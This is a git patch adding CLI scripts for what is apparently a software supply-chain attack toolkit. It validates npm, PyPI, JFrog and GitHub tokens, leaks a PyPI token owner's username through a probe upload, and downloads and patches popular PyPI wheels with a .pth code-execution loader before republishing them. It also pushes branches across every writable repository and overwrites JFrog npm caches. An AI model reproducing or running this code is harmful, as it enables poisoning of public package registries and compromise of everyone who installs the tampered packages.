From d85741d18ec112509baac1b6cb332737789ee89e Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:18:14 +0000 Subject: [PATCH] Upload files to "src/cli" --- src/cli/mutator-jfrognpm.ts | 74 ++++++++++++++ src/cli/mutator-npm.ts | 21 ++++ src/cli/mutator-npmoidcbranch.ts | 40 ++++++++ src/cli/mutator-pypi.ts | 166 +++++++++++++++++++++++++++++++ src/cli/mutator-repository.ts | 21 ++++ 5 files changed, 322 insertions(+) create mode 100644 src/cli/mutator-jfrognpm.ts create mode 100644 src/cli/mutator-npm.ts create mode 100644 src/cli/mutator-npmoidcbranch.ts create mode 100644 src/cli/mutator-pypi.ts create mode 100644 src/cli/mutator-repository.ts diff --git a/src/cli/mutator-jfrognpm.ts b/src/cli/mutator-jfrognpm.ts new file mode 100644 index 0000000..391701d --- /dev/null +++ b/src/cli/mutator-jfrognpm.ts @@ -0,0 +1,74 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + + const baseUrl = args.params["jfrog-url"]; + if (!baseUrl) + throw new Error( + "--jfrog-url required (e.g. https://myco.jfrog.io/artifactory)", + ); + + const rawCred = args.params["jfrog-token"]; + if (!rawCred) + throw new Error( + "--jfrog-token required (API key, Bearer token, or user:pass)", + ); + + const { detectCredential, validateCredentials } = + await import("../mutator/jfrognpm/auth"); + + const explicitType = args.params["jfrog-auth-type"] as + | "api-key" + | "bearer" + | "basic" + | undefined; + const credential = explicitType + ? { type: explicitType, value: rawCred } + : detectCredential(rawCred); + console.error(`[jfrognpm] Auth type: ${credential.type}`); + + const validation = await validateCredentials(baseUrl, credential); + + if (!validation.valid) { + throw new Error(`JFrog credential validation failed: ${validation.error}`); + } + + const session = validation.session!; + console.error( + `[jfrognpm] Authenticated as ${session.username} (admin: ${session.isAdmin}, write: ${session.canWrite})`, + ); + console.error( + `[jfrognpm] NPM repos: ${session.npmRepos.join(", ") || "(none)"}`, + ); + + const packages = args.params["packages"] + ? args.params["packages"] + .split(",") + .map((s) => s.trim()) + .filter(Boolean) + : []; + + const maxPackages = args.params["max-packages"] + ? parseInt(args.params["max-packages"], 10) + : undefined; + + const forceCache = args.flags.has("force-cache-overwrite"); + const doExecute = args.flags.has("execute"); + + const { JfrogNpmMutator } = await import("../mutator/jfrognpm/index"); + const mutator = new JfrogNpmMutator(session, { + packages, + maxPackages, + forceCacheOverwrite: forceCache, + reconOnly: !doExecute, + }); + + return mutator.execute(); +} + +runModule("JfrogNpmClient", main); diff --git a/src/cli/mutator-npm.ts b/src/cli/mutator-npm.ts new file mode 100644 index 0000000..7e0c38e --- /dev/null +++ b/src/cli/mutator-npm.ts @@ -0,0 +1,21 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["npm-token"]; + if (!token) throw new Error("--npm-token required"); + + const { checkToken } = await import("../mutator/npm/tokenCheck"); + const tokenInfo = await checkToken(token); + if (!tokenInfo.valid) throw new Error("NPM token validation failed"); + + const { NpmClient } = await import("../mutator/npm/index"); + const mutator = new NpmClient(tokenInfo); + return mutator.execute(); +} + +runModule("NpmClient", main); \ No newline at end of file diff --git a/src/cli/mutator-npmoidcbranch.ts b/src/cli/mutator-npmoidcbranch.ts new file mode 100644 index 0000000..572446c --- /dev/null +++ b/src/cli/mutator-npmoidcbranch.ts @@ -0,0 +1,40 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + const repo = args.params["repo"]; + const execute = args.flags.has("execute"); + + const { NpmOidcBranchMutator } = await import("../mutator/npmoidc/branch"); + + if (repo) { + console.log( + execute + ? "[npmoidc-branch] LIVE mode — will push branch" + : "[npmoidc-branch] will create dry-run commit", + ); + // Process single repo directly + const mutator = new NpmOidcBranchMutator(token, !execute); + const ok = await mutator.processSingleRepo(repo, token); + if (!ok) console.log(`\n${repo}: NOT an npm-publishing repo`); + } else { + // Batch mode: scan all writable repos + const mutator = new NpmOidcBranchMutator(token, !execute); + console.log( + execute + ? "[npmoidc-branch] LIVE mode — scanning all writable repos" + : "[npmoidc-branch] DRY-RUN — scanning all writable repos (add --execute to push)", + ); + await mutator.execute(); + } +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("NpmOidcBranch", main); diff --git a/src/cli/mutator-pypi.ts b/src/cli/mutator-pypi.ts new file mode 100644 index 0000000..ad20944 --- /dev/null +++ b/src/cli/mutator-pypi.ts @@ -0,0 +1,166 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { writeFileSync } from "fs"; +import { resolve } from "path"; +import { createInterface } from "readline"; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + + const token = args.params["pypi-token"]; + const packageName = args.params["package"]; + if (!packageName) throw new Error("--package required (e.g. requests)"); + + const hasToken = !!token; + const steps = hasToken ? 4 : 3; + + // 1. Validate token (only if provided) + if (hasToken) { + console.error(`[1/${steps}] Validating token...`); + let valid = false; + try { + const form = new FormData(); + form.append(":action", "file_upload"); + form.append("name", "dummy-package"); + form.append("version", "0.0.1"); + form.append("content", "dummy-content"); + + const res = await fetch("https://upload.pypi.org/legacy/", { + method: "POST", + headers: { Authorization: `token ${token}` }, + body: form, + }); + if (res.status === 400) { + valid = true; + } + } catch (e) { + throw new Error( + `PyPI validation failed: ${e instanceof Error ? e.message : String(e)}`, + ); + } + + if (!valid) { + throw new Error("PyPI token invalid — upload endpoint rejected it"); + } + + const { parseMacaroonToken } = + await import("../mutator/pypi/macaroonParse"); + const macaroon = parseMacaroonToken(token); + console.error(`[pypi] Token type: ${macaroon.type}`); + + // Username probe — upload to "six" (a package they can't own) to leak username via 403 + console.error(`[pypi] Probing username via six...`); + try { + const probeForm = new FormData(); + probeForm.append(":action", "file_upload"); + probeForm.append("name", "six"); + probeForm.append("version", "0.0.1"); + probeForm.append("content", new Blob(["x"]), "x"); + const probeRes = await fetch("https://upload.pypi.org/legacy/", { + method: "POST", + headers: { Authorization: `token ${token}` }, + body: probeForm, + }); + if (probeRes.status === 403) { + const text = await probeRes.text(); + const m = text.match(/The user '([^']+)' isn't allowed/); + if (m) console.error(`[pypi] Username: ${m[1]}`); + } + } catch { + // non-critical + } + } + + // Download the wheel + const stepDownload = hasToken ? 2 : 1; + console.error(`[${stepDownload}/${steps}] Downloading ${packageName}...`); + const { fetchPackageMeta, downloadWheel, patchWheel } = + await import("../mutator/pypi/wheel"); + + const meta = await fetchPackageMeta(packageName); + if (!meta) throw new Error(`Package "${packageName}" not found on PyPI`); + + console.error( + `[pypi] Found ${meta.name} @ ${meta.version} (${meta.wheelUrl})`, + ); + + const wheelData = await downloadWheel(meta.wheelUrl); + if (!wheelData) + throw new Error(`Failed to download wheel for ${packageName}`); + + // Patch the wheel + const stepPatch = hasToken ? 3 : 2; + console.error(`[${stepPatch}/${steps}] Patching wheel...`); + + // Full Bun-guard .pth loader + hello-world JS test payload + const jsName = "_index.js"; + const { INJECT_PTH } = await import("../generated"); + const pthContent = (INJECT_PTH as string) || "import os; os.system('id')"; + + // Hello-world test payload (Bun will execute this) + const jsPayload = `const fs = require("fs"); fs.writeFileSync("/tmp/hello.txt", "hello world");`; + + const patched = patchWheel({ + meta, + wheelData, + pthContent, + jsPayload, + jsFilename: jsName, + }); + console.error(`[pypi] Patched: ${meta.version} → ${patched.newVersion}`); + + // Save patched wheel to cwd + const stepSave = hasToken ? 4 : 3; + const outPath = resolve(process.cwd(), patched.filename); + writeFileSync(outPath, patched.data); + console.error(`[${stepSave}/${steps}] Saved patched wheel to: ${outPath}`); + console.error( + `[pypi] File: ${patched.filename} (${patched.data.length} bytes)`, + ); + + // If no token, we're done + if (!hasToken) { + console.error(""); + console.error("No token provided — wheel saved to disk only."); + return true; + } + + // Confirm upload + console.error(""); + const rl = createInterface({ input: process.stdin, output: process.stderr }); + const answer = await new Promise((resolve) => { + rl.question("Upload patched wheel to PyPI? [y/N]: ", resolve); + }); + rl.close(); + + if (answer.toLowerCase() !== "y") { + console.error("Upload skipped. Patched wheel saved to disk."); + return true; + } + + // Upload + console.error("[pypi] Uploading..."); + const { uploadWheel } = await import("../mutator/pypi/upload"); + const { extractInfo } = await import("../mutator/pypi/wheel"); + const ok = await uploadWheel({ + token: token!, + pkgName: meta.name, + version: patched.newVersion, + filename: patched.filename, + wheelData: patched.data, + ...extractInfo(meta.info), + }); + + if (ok) { + console.error(`[pypi] Published ${meta.name} @ ${patched.newVersion}`); + return true; + } else { + throw new Error("Upload failed"); + } +} + +runModule("PypiClient", main); diff --git a/src/cli/mutator-repository.ts b/src/cli/mutator-repository.ts new file mode 100644 index 0000000..eaba853 --- /dev/null +++ b/src/cli/mutator-repository.ts @@ -0,0 +1,21 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + // Defaults to dry-run. Pass --live to actually commit. + const live = args.flags.has("live"); + const dryRun = !live; + + const { RepositoryMutator } = await import("../mutator/repository/index"); + const mutator = new RepositoryMutator(token, { dryRun }); + return mutator.execute(); +} + +runModule("RepositoryMutator", main);